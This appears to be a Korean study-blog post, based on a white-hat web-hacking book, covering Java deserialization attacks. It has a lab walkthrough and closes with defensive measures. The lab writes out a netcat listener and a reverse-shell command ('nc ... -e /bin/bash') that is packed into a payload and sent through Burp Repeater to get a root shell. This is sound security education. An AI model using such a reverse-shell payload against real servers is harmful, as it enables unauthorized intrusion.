본문 바로가기
보안

Chapter 17. 자바 역직렬화 취약점 공격

qbang 2019. 3. 14.

 

자바 역직렬화 취약점 공격 개요

 

 

- 저장되어 있는 바이트 스트림을 다시 객체로 만들어 원래의 데이터를 다시 불러오는 과정

 

- aced0005라는 문자열은 직렬화된 데이터의 앞에 항상 나타나는 문자열로, 매직 바이트임

 

 

 

       자바 역직렬화 취약점 공격 실습

 

- 저장되어 있는 바이트 스트림을 다시 객체

 

 

 

- 전송되고 있는 파일의 타입을 통해 직렬화된 데이터를 발견

 

 

 

- 직화된 데이터가 있군

 



nc -lvnp 4000

 

- 서버로 실행해두기

 



nc 칼리리눅스 주소 4000 -e /bin/bash

 

- nc 접속을 위한 명령문

 

 

 

- 원하는 명령어를 실행할 수 있는 공격 코드 만들기 위해서 공격코드를 reverse.bin 파일로 생성

 

 

 

 

 

 

 

- 다시 요청하기 위해 Repeater로 전송하고 파일의 바디 부분에서 paste from file을 선택한 뒤 좀 전에 만든 reverse.bin을 선택해줌

 

 

 

- id를 입력하면 root 사용자의 권한으로 쉘이 생성된 것을 확인할 수 있음

 

 

 

자바 역직렬화 취약점 공격 대응

 

- 일일히 패키지를 확인하여 업데이트하는 것은 어렵기 때문에, 프레임워크를 비롯한 웹 애플리케이션 개발을 위해 사용하는 구성요소들을 항상 최신 버전으로 유지할 것

 

- 역직렬화 전에 반드시 인증 과정 수행 or 격리된 환경에서 수행

 

- 출처를 알 수 없는 개체의 경우 역직렬화 수행x

 

- 직렬화된 객체에 디지털 서명을 하도록 하여 무결성 검증

 

해당 포스팅은 '화이트해커를 위한 웹 해킹의 기술' 책 내용을 바탕으로 작성되었습니다.

댓글